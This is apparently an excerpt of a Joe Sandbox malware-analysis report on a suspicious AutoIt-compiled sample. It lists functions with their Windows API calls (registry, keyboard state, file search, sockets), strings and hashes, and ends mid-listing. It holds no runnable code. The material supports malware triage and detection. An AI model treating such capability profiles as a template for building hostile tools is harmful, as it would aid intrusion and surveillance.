Instruction Fuzzy Hash: 2DF08C323002108FCB21EF59D845B6AB7E5AF58360F058059F90A9B3A2CB74BC018B94

Function 00377953 Relevance: 1.3, APIs: 1, Instructions: 19COMMON

Download Yara Rule

APIs

CloseHandle.KERNELBASE(?,?,00000000,003B3A1C), ref: 00377973

Memory Dump Source

Source File: 00000007.00000002.1952140583.0000000000371000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00370000, based on PE: true

Associated: 00000007.00000002.1952117573.0000000000370000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.000000000040D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.0000000000433000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952252060.000000000043D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952275535.0000000000445000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_370000_qwlvpmrupf.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: 68594d60a07a7649114ab02569ed261ff36b83991d54c10f2e1409769d15d8a1
Instruction ID: 7107d53eef1456d63ca5262590c7c1c30bc8e400d7e8bd0a3aa243aa5ff5cf03
Opcode Fuzzy Hash: 68594d60a07a7649114ab02569ed261ff36b83991d54c10f2e1409769d15d8a1
Instruction Fuzzy Hash: A4E0B675805B12CFC3324F1AE904412FBF8FFD23A13218A2ED5E9926A0D3B4589ACB50

Non-executed Functions

Function 003EA0FA Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 111fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?,74DE8FB0,?,00000000), ref: 003EA11B
FindNextFileW.KERNEL32(00000000,?), ref: 003EA176
FindClose.KERNEL32(00000000), ref: 003EA181
FindFirstFileW.KERNEL32(*.*,?), ref: 003EA19D
SetCurrentDirectoryW.KERNEL32(?), ref: 003EA1ED
SetCurrentDirectoryW.KERNEL32(00437B94), ref: 003EA20B
FindNextFileW.KERNEL32(00000000,00000010), ref: 003EA215
FindClose.KERNEL32(00000000), ref: 003EA222
FindClose.KERNEL32(00000000), ref: 003EA232

Part of subcall function 003DE2AE: CreateFileW.KERNEL32(?,40000000,00000001,00000000,00000003,02000080,00000000), ref: 003DE2C9

Strings

*.*, xrefs: 003EA198

Memory Dump Source

Source File: 00000007.00000002.1952140583.0000000000371000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00370000, based on PE: true

Associated: 00000007.00000002.1952117573.0000000000370000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.000000000040D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.0000000000433000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952252060.000000000043D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952275535.0000000000445000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_370000_qwlvpmrupf.jbxd

Similarity

API ID: Find$File$Close$CurrentDirectoryFirstNext$Create
String ID: *.*
API String ID: 2640511053-438819550
Opcode ID: f06f8451b4f89ab1abf233e273f338089ff78a43c5eea8a67f9782fab4b5050c
Instruction ID: aa7f81db468c1efff3aa8268e74aab170f557ba2574010f0106737b1e30a4586
Opcode Fuzzy Hash: f06f8451b4f89ab1abf233e273f338089ff78a43c5eea8a67f9782fab4b5050c
Instruction Fuzzy Hash: AD315931500A6D6BCF12AFA1DC48ADE77AC9F05320F1102A6E911F30D2DB35EE88CB65

Function 003FC7A3 Relevance: 17.0, APIs: 11, Instructions: 456registryCOMMON

Download Yara Rule

APIs

Part of subcall function 003FD2F7: CharUpperBuffW.USER32(?,?,?,?,?,?,?,003FC00D,?,?), ref: 003FD314
Part of subcall function 003FD2F7: _wcslen.LIBCMT ref: 003FD350
Part of subcall function 003FD2F7: _wcslen.LIBCMT ref: 003FD3C7
Part of subcall function 003FD2F7: _wcslen.LIBCMT ref: 003FD3FD

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 003FC89D
RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?,?,?), ref: 003FC908
RegCloseKey.ADVAPI32(00000000), ref: 003FC92C
RegQueryValueExW.ADVAPI32(?,?,00000000,?,00000000,?), ref: 003FC98B
RegQueryValueExW.ADVAPI32(?,?,00000000,00000000,?,00000008), ref: 003FCA46
RegQueryValueExW.ADVAPI32(?,?,00000000,00000000,?,?,?,00000000), ref: 003FCAB3
RegQueryValueExW.ADVAPI32(?,?,00000000,00000000,?,?,?,00000000), ref: 003FCB48
RegQueryValueExW.ADVAPI32(?,?,00000000,00000000,00000000,?,?,?,00000000), ref: 003FCB99
RegQueryValueExW.ADVAPI32(?,?,00000000,00000000,?,?,?,00000000), ref: 003FCC42
RegCloseKey.ADVAPI32(?,?,00000000), ref: 003FCCE1
RegCloseKey.ADVAPI32(00000000), ref: 003FCCEE

Memory Dump Source

Source File: 00000007.00000002.1952140583.0000000000371000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00370000, based on PE: true

Associated: 00000007.00000002.1952117573.0000000000370000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.000000000040D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.0000000000433000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952252060.000000000043D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952275535.0000000000445000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_370000_qwlvpmrupf.jbxd

Similarity

API ID: QueryValue$Close_wcslen$BuffCharConnectOpenRegistryUpper
String ID:
API String ID: 3102970594-0
Opcode ID: ef9c76554dc434fa72b045c75e803a774eb2686da387e91dffed1e76f43cd698
Instruction ID: e16711da4f1807c57855f8ba1ebb4c01b1911022c1088c99dc255ae0aaa512e1
Opcode Fuzzy Hash: ef9c76554dc434fa72b045c75e803a774eb2686da387e91dffed1e76f43cd698
Instruction Fuzzy Hash: 3B025B716142089FD715CF24C995E3ABBE5EF48308F09849DE94ACF2A2DB31ED46CB91

Function 003DA54A Relevance: 16.6, APIs: 11, Instructions: 119keyboardCOMMON

Download Yara Rule

APIs

GetKeyboardState.USER32(?), ref: 003DA572
GetAsyncKeyState.USER32(000000A0), ref: 003DA5F3
GetKeyState.USER32(000000A0), ref: 003DA60E
GetAsyncKeyState.USER32(000000A1), ref: 003DA628
GetKeyState.USER32(000000A1), ref: 003DA63D
GetAsyncKeyState.USER32(00000011), ref: 003DA655
GetKeyState.USER32(00000011), ref: 003DA667
GetAsyncKeyState.USER32(00000012), ref: 003DA67F
GetKeyState.USER32(00000012), ref: 003DA691
GetAsyncKeyState.USER32(0000005B), ref: 003DA6A9
GetKeyState.USER32(0000005B), ref: 003DA6BB

Memory Dump Source

Source File: 00000007.00000002.1952140583.0000000000371000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00370000, based on PE: true

Associated: 00000007.00000002.1952117573.0000000000370000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.000000000040D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.0000000000433000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952252060.000000000043D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952275535.0000000000445000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_370000_qwlvpmrupf.jbxd

Similarity

API ID: State$Async$Keyboard
String ID:
API String ID: 541375521-0
Opcode ID: 6754962e5bfc7a9d31a994ee6144d81eacd5302f7255fc07e6d908a0b2c220a3
Instruction ID: 07839f8015722c23bca46071d9b7dc9904724598a202ee665fd41f09949cb8ec
Opcode Fuzzy Hash: 6754962e5bfc7a9d31a994ee6144d81eacd5302f7255fc07e6d908a0b2c220a3
Instruction Fuzzy Hash: 6B41D872908FC9ADFF334B60AA043A5BEA16B12344F09405BD5C65A7C1DBA4DDC8C757

Function 003F4089 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 187comCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32 ref: 003F40D1
CoUninitialize.OLE32 ref: 003F40DC
CoCreateInstance.OLE32(?,00000000,00000017,00410B44,?), ref: 003F4136
IIDFromString.OLE32(?,?), ref: 003F41A9
VariantInit.OLEAUT32(?), ref: 003F4241
VariantClear.OLEAUT32(?), ref: 003F4293

Strings

Failed to create object, xrefs: 003F4141, 003F41F7
NULL Pointer assignment, xrefs: 003F417B
Invalid parameter, xrefs: 003F41C2

Memory Dump Source

Source File: 00000007.00000002.1952140583.0000000000371000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00370000, based on PE: true

Associated: 00000007.00000002.1952117573.0000000000370000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.000000000040D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.0000000000433000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952252060.000000000043D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952275535.0000000000445000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_370000_qwlvpmrupf.jbxd

Similarity

API ID: Variant$ClearCreateFromInitInitializeInstanceStringUninitialize
String ID: Failed to create object$Invalid parameter$NULL Pointer assignment
API String ID: 636576611-1287834457
Opcode ID: be2febf5c523f21f0cbd44a4e0204510d126827bc3f9409b6792f63c33a11e46
Instruction ID: 5ba1def5333ab994c92a798d969cd5b01a61a54d10e5a7d599c1720da722897b
Opcode Fuzzy Hash: be2febf5c523f21f0cbd44a4e0204510d126827bc3f9409b6792f63c33a11e46
Instruction Fuzzy Hash: AC61D171204305AFC312DF64D888F6BBBE8AF49714F10485DF6859B2A1D770ED88CB92

Function 003EA488 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 119filesleepCOMMON

Download Yara Rule

APIs

Part of subcall function 0037B25F: _wcslen.LIBCMT ref: 0037B269

FindFirstFileW.KERNEL32(00000001,?,*.*,?,?,00000000,00000000), ref: 003EA4D5
FindClose.KERNEL32(00000000,?,00000000,00000000), ref: 003EA5E8

Part of subcall function 003E41CE: GetInputState.USER32 ref: 003E4225
Part of subcall function 003E41CE: PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 003E42C0

Sleep.KERNEL32(0000000A,?,00000000,00000000), ref: 003EA505
FindNextFileW.KERNEL32(?,?,?,00000000,00000000), ref: 003EA5D2

Strings

*.*, xrefs: 003EA4BA

Memory Dump Source

Source File: 00000007.00000002.1952140583.0000000000371000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00370000, based on PE: true

Associated: 00000007.00000002.1952117573.0000000000370000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.000000000040D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.0000000000433000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952252060.000000000043D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952275535.0000000000445000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_370000_qwlvpmrupf.jbxd

Similarity

API ID: Find$File$CloseFirstInputMessageNextPeekSleepState_wcslen
String ID: *.*
API String ID: 1972594611-438819550
Opcode ID: 7d62ad1c689d3552c0684a738aa1016047f008281ee52ebcd21bd245f47ed04b
Instruction ID: a210c28237ac8fb858d5a39b9e5e16feec600b6325e52366de15b5e02835411a
Opcode Fuzzy Hash: 7d62ad1c689d3552c0684a738aa1016047f008281ee52ebcd21bd245f47ed04b
Instruction Fuzzy Hash: 3241B07190065AAFCF22DFA5CC49BEEBBB4EF06310F208156E445A61D1D734AE88CF61

Function 0037225D Relevance: 7.8, APIs: 5, Instructions: 309COMMON

Download Yara Rule

APIs

DefDlgProcW.USER32(?,?), ref: 003722EE
GetSysColor.USER32(0000000F), ref: 003723C3
SetBkColor.GDI32(?,00000000), ref: 003723D6

Memory Dump Source

Source File: 00000007.00000002.1952140583.0000000000371000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00370000, based on PE: true

Associated: 00000007.00000002.1952117573.0000000000370000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.000000000040D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.0000000000433000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952252060.000000000043D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952275535.0000000000445000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_370000_qwlvpmrupf.jbxd

Similarity

API ID: Color$Proc
String ID:
API String ID: 929743424-0
Opcode ID: 1f4d0e7cdb4bdcebfae6dd4dc661df6f327876d6921662a5d281460b313d446b
Instruction ID: 68a452a8c71d2469b85fb664d1ac6732953d23bd2fbd988eb577a2b662328a32
Opcode Fuzzy Hash: 1f4d0e7cdb4bdcebfae6dd4dc661df6f327876d6921662a5d281460b313d446b
Instruction Fuzzy Hash: 4B8148F4204464BAF63B663D8C99EBF155DDB46308F16811EF206D5ED2CA2DCE01D23A

Function 003F2163 Relevance: 7.7, APIs: 5, Instructions: 153networkCOMMON

Download Yara Rule

APIs

Part of subcall function 003F39AB: inet_addr.WSOCK32(?,?,?,?,?,00000000), ref: 003F39D7
Part of subcall function 003F39AB: _wcslen.LIBCMT ref: 003F39F8

socket.WSOCK32(00000002,00000002,00000011,?,?,00000000), ref: 003F21BA
WSAGetLastError.WSOCK32 ref: 003F21E1
bind.WSOCK32(00000000,?,00000010), ref: 003F2238
WSAGetLastError.WSOCK32 ref: 003F2243
closesocket.WSOCK32(00000000), ref: 003F2272

Memory Dump Source

Source File: 00000007.00000002.1952140583.0000000000371000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00370000, based on PE: true

Associated: 00000007.00000002.1952117573.0000000000370000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.000000000040D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.0000000000433000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952252060.000000000043D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952275535.0000000000445000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_370000_qwlvpmrupf.jbxd

Similarity

API ID: ErrorLast$_wcslenbindclosesocketinet_addrsocket
String ID:
API String ID: 1601658205-0
Opcode ID: 4496150f0379646689bb7c22247d38c2d82bc29eef0b249b4277ff1dd4bd9f5d
Instruction ID: 395e9d0e9d2f8b69e751b7638104996e23fa9e2dc904e29f9b7ee5057f3c67b1
Opcode Fuzzy Hash: 4496150f0379646689bb7c22247d38c2d82bc29eef0b249b4277ff1dd4bd9f5d
Instruction Fuzzy Hash: 3C51C475A00204AFD721EF64C886F6A77E5AB44714F05C09CFA19AF3D3D774AD428BA1

Function 004025A0 Relevance: 7.6, APIs: 5, Instructions: 83windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32 ref: 0040261F
IsWindowEnabled.USER32 ref: 0040262D
GetForegroundWindow.USER32(?,?,00000001,?), ref: 0040263A
IsIconic.USER32 ref: 00402648
IsZoomed.USER32 ref: 00402656

Memory Dump Source

Source File: 00000007.00000002.1952140583.0000000000371000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00370000, based on PE: true

Associated: 00000007.00000002.1952117573.0000000000370000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.000000000040D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.0000000000433000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952252060.000000000043D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952275535.0000000000445000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_370000_qwlvpmrupf.jbxd

Similarity

API ID: Window$EnabledForegroundIconicVisibleZoomed
String ID:
API String ID: 292994002-0
Opcode ID: fb0e6441e23745c5b9af9b45073bfecd3b83a6026e44cdf902dca0a7e44840c5
Instruction ID: ef295562923d7db8845fbdfedcfe68311c740295b3e66b3df3181408527d8bb4
Opcode Fuzzy Hash: fb0e6441e23745c5b9af9b45073bfecd3b83a6026e44cdf902dca0a7e44840c5
Instruction Fuzzy Hash: F121F6317002005FD7119F16CD58B177B95EF94314F18847AE849AB3D1DBBADC42CB98

Function 003DEBB3 Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

mouse_event.USER32(00000004,00000000,00000000,00000000,00000000), ref: 003DEBDC

Memory Dump Source

Source File: 00000007.00000002.1952140583.0000000000371000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00370000, based on PE: true

Associated: 00000007.00000002.1952117573.0000000000370000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.000000000040D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.0000000000433000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952252060.000000000043D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952275535.0000000000445000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_370000_qwlvpmrupf.jbxd

Similarity

API ID: mouse_event
String ID:
API String ID: 2434400541-0
Opcode ID: c73e0df196e42ed09aaad7e9fdf42607525cde4a8181cc39f7cf01387ef28824
Instruction ID: ef3cfb1e51c1272f5d279dd4977662d6bbaffd2de62e68de38f16eac737aa6c3
Opcode Fuzzy Hash: c73e0df196e42ed09aaad7e9fdf42607525cde4a8181cc39f7cf01387ef28824
Instruction Fuzzy Hash: A4D017B719820178E81B2AB8AD2FF760E08E301751F46066BB203DDB94E4E5B900A126

Function 003724C3 Relevance: 33.5, APIs: 18, Strings: 1, Instructions: 282windowtimeCOMMON

Download Yara Rule

APIs

SystemParametersInfoW.USER32(00000030,00000000,000000FF,00000000), ref: 0037259A
GetSystemMetrics.USER32(00000007), ref: 003725A2
SystemParametersInfoW.USER32(00000030,00000000,000000FF,00000000), ref: 003725CD
GetSystemMetrics.USER32(00000008), ref: 003725D5
GetSystemMetrics.USER32(00000004), ref: 003725FA
SetRect.USER32(000000FF,00000000,00000000,000000FF,000000FF), ref: 00372617
AdjustWindowRectEx.USER32(000000FF,?,00000000,?), ref: 00372627
CreateWindowExW.USER32(?,AutoIt v3 GUI,?,?,?,000000FF,000000FF,000000FF,?,00000000,00000000), ref: 0037265A
SetWindowLongW.USER32(00000000,000000EB,00000000), ref: 0037266E
GetClientRect.USER32(00000000,000000FF), ref: 0037268C
GetStockObject.GDI32(00000011), ref: 003726A8
SendMessageW.USER32(00000000,00000030,00000000), ref: 003726B3

Part of subcall function 003719CD: GetCursorPos.USER32(?), ref: 003719E1
Part of subcall function 003719CD: ScreenToClient.USER32(00000000,?), ref: 003719FE
Part of subcall function 003719CD: GetAsyncKeyState.USER32(00000001), ref: 00371A23
Part of subcall function 003719CD: GetAsyncKeyState.USER32(00000002), ref: 00371A3D

SetTimer.USER32(00000000,00000000,00000028,0037199C), ref: 003726DA

Strings

AutoIt v3 GUI, xrefs: 00372652

Memory Dump Source

Source File: 00000007.00000002.1952140583.0000000000371000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00370000, based on PE: true

Associated: 00000007.00000002.1952117573.0000000000370000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.000000000040D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.0000000000433000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952252060.000000000043D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952275535.0000000000445000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_370000_qwlvpmrupf.jbxd

Similarity

API ID: System$MetricsRectWindow$AsyncClientInfoParametersState$AdjustCreateCursorLongMessageObjectScreenSendStockTimer
String ID: AutoIt v3 GUI
API String ID: 1458621304-248962490
Opcode ID: 05c3ebba0cef704bccb90784eddb9873bc29523acb638526571e2e0e015ab12c
Instruction ID: 24e7316a1542ef50b5b3fd116fe6f9a6e58acd4bf534f487cce57de7e7a33c79
Opcode Fuzzy Hash: 05c3ebba0cef704bccb90784eddb9873bc29523acb638526571e2e0e015ab12c
Instruction Fuzzy Hash: C1B1BA75A00209AFDB15DFA8CD45BAE7BB4FB48314F018229FA19EB290DBB4D900CB55

Function 00408C9B Relevance: 31.7, APIs: 14, Strings: 4, Instructions: 196windowlibraryCOMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 00408CB9
_wcslen.LIBCMT ref: 00408CCD
_wcslen.LIBCMT ref: 00408CF0
_wcslen.LIBCMT ref: 00408D13
LoadImageW.USER32(00000000,?,00000001,?,?,00002010), ref: 00408D51
LoadLibraryExW.KERNEL32(?,00000000,00000032,?,?,00000001,?,?,?,00403F79,?), ref: 00408DAD
LoadImageW.USER32(?,?,00000001,?,?,00000000), ref: 00408DE6
LoadImageW.USER32(00000000,?,00000001,?,?,00000000), ref: 00408E29
LoadImageW.USER32(?,?,00000001,?,?,00000000), ref: 00408E60
FreeLibrary.KERNEL32(?), ref: 00408E6C
ExtractIconExW.SHELL32(?,00000000,00000000,00000000,00000001), ref: 00408E7C
DestroyIcon.USER32(?), ref: 00408E8B
SendMessageW.USER32(?,00000170,00000000,00000000), ref: 00408EA8
SendMessageW.USER32(?,00000064,00000172,00000001), ref: 00408EB4

Strings

.icl, xrefs: 00408CC7
y?@, xrefs: 00408CA4, 00408EBA, 00408D64, 00408E3B, 00408DC2
.dll, xrefs: 00408D0A
.exe, xrefs: 00408CE7

Memory Dump Source

Source File: 00000007.00000002.1952140583.0000000000371000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00370000, based on PE: true

Associated: 00000007.00000002.1952117573.0000000000370000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.000000000040D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.0000000000433000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952252060.000000000043D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952275535.0000000000445000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_370000_qwlvpmrupf.jbxd

Similarity

API ID: Load$Image_wcslen$IconLibraryMessageSend$DestroyExtractFree
String ID: .dll$.exe$.icl$y?@
API String ID: 799131459-1101282622
Opcode ID: 23b7e185b09102804edd2b40f47971d14620f77cfca06885ec8ca3fbafdc7f39
Instruction ID: 5127e08bb869c6af3cbe27571f6ef761d38680409d429fac127f2a1e050347fe
Opcode Fuzzy Hash: 23b7e185b09102804edd2b40f47971d14620f77cfca06885ec8ca3fbafdc7f39
Instruction Fuzzy Hash: FE61DE71900215BEEB149B64CD45FBF77A8AF08710F10862AFD55EA1D1DB789A80CBA4

Function 003E47D3 Relevance: 28.2, APIs: 8, Strings: 8, Instructions: 205COMMON

Download Yara Rule

APIs

CharLowerBuffW.USER32(?,?), ref: 003E4852
_wcslen.LIBCMT ref: 003E485D
_wcslen.LIBCMT ref: 003E48B4
_wcslen.LIBCMT ref: 003E48F2
GetDriveTypeW.KERNEL32(?), ref: 003E4930
mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 003E4978
mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 003E49B3
mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 003E49E1

Strings

set cd door , xrefs: 003E4982
open, xrefs: 003E48AE, 003E48B3
closed, xrefs: 003E4862, 003E4887, 003E48A0, 003E48D8, 003E48F1
wait, xrefs: 003E499E
open , xrefs: 003E493F
close cd wait, xrefs: 003E49CC
type cdaudio alias cd wait, xrefs: 003E495B
close, xrefs: 003E4858, 003E4872

Memory Dump Source

Source File: 00000007.00000002.1952140583.0000000000371000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00370000, based on PE: true

Associated: 00000007.00000002.1952117573.0000000000370000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.000000000040D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.0000000000433000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952252060.000000000043D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952275535.0000000000445000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_370000_qwlvpmrupf.jbxd

Similarity

API ID: SendString_wcslen$BuffCharDriveLowerType
String ID: type cdaudio alias cd wait$ wait$close$close cd wait$closed$open$open $set cd door
API String ID: 1839972693-4113822522
Opcode ID: 5cab4d9319f7d6eda180a9af836df26040f71a25b2532c6bfff77991210156d2
Instruction ID: 36243580d4744f5bf63c911af60c62da4989035e6521dd3f1644d6fdf6512c5a
Opcode Fuzzy Hash: 5cab4d9319f7d6eda180a9af836df26040f71a25b2532c6bfff77991210156d2
Instruction Fuzzy Hash: 457124715043619FC721EF25C88096BB7E4FF98364F118A2DF8959B291EB38DD45CB81

Function 003D62AA Relevance: 27.2, APIs: 18, Instructions: 198windowtimeCOMMON

Download Yara Rule

APIs

LoadIconW.USER32(00000063), ref: 003D62BD
SendMessageW.USER32(?,00000080,00000000,00000000), ref: 003D62CF
SetWindowTextW.USER32(?,?), ref: 003D62E6
GetDlgItem.USER32(?,000003EA), ref: 003D62FB
SetWindowTextW.USER32(00000000,?), ref: 003D6301
GetDlgItem.USER32(?,000003E9), ref: 003D6311
SetWindowTextW.USER32(00000000,?), ref: 003D6317
SendDlgItemMessageW.USER32(?,000003E9,000000CC,?,00000000), ref: 003D6338
SendDlgItemMessageW.USER32(?,000003E9,000000C5,00000000,00000000), ref: 003D6352
GetWindowRect.USER32(?,?), ref: 003D635B
_wcslen.LIBCMT ref: 003D63C2
SetWindowTextW.USER32(?,?), ref: 003D63FE
GetDesktopWindow.USER32 ref: 003D6404
GetWindowRect.USER32(00000000), ref: 003D640B
MoveWindow.USER32(?,?,00000080,00000000,?,00000000), ref: 003D6462
GetClientRect.USER32(?,?), ref: 003D646F
PostMessageW.USER32(?,00000005,00000000,?), ref: 003D6494
SetTimer.USER32(?,0000040A,00000000,00000000), ref: 003D64BE

Memory Dump Source

Source File: 00000007.00000002.1952140583.0000000000371000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00370000, based on PE: true

Associated: 00000007.00000002.1952117573.0000000000370000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.000000000040D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.0000000000433000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952252060.000000000043D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952275535.0000000000445000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_370000_qwlvpmrupf.jbxd

Similarity

API ID: Window$ItemMessageText$RectSend$ClientDesktopIconLoadMovePostTimer_wcslen
String ID:
API String ID: 895679908-0
Opcode ID: dea75eaecda768b9852158a894a4ad0a4de38c5b42e959d2768f81baf1e17483
Instruction ID: dff3bde46df60893fca08e1d6ec11d2c3d93af9d12b4db2af4e221bcdc35dd84
Opcode Fuzzy Hash: dea75eaecda768b9852158a894a4ad0a4de38c5b42e959d2768f81baf1e17483
Instruction Fuzzy Hash: F071BE32900705AFDB21DFA9DE46BAEBBF5FF48704F100929E196A36A0C775E944CB10

Function 003F076B Relevance: 27.1, APIs: 18, Instructions: 128COMMON

Download Yara Rule

APIs

LoadCursorW.USER32(00000000,00007F89), ref: 003F0784
LoadCursorW.USER32(00000000,00007F8A), ref: 003F078F
LoadCursorW.USER32(00000000,00007F00), ref: 003F079A
LoadCursorW.USER32(00000000,00007F03), ref: 003F07A5
LoadCursorW.USER32(00000000,00007F8B), ref: 003F07B0
LoadCursorW.USER32(00000000,00007F01), ref: 003F07BB
LoadCursorW.USER32(00000000,00007F81), ref: 003F07C6
LoadCursorW.USER32(00000000,00007F88), ref: 003F07D1
LoadCursorW.USER32(00000000,00007F80), ref: 003F07DC
LoadCursorW.USER32(00000000,00007F86), ref: 003F07E7
LoadCursorW.USER32(00000000,00007F83), ref: 003F07F2
LoadCursorW.USER32(00000000,00007F85), ref: 003F07FD
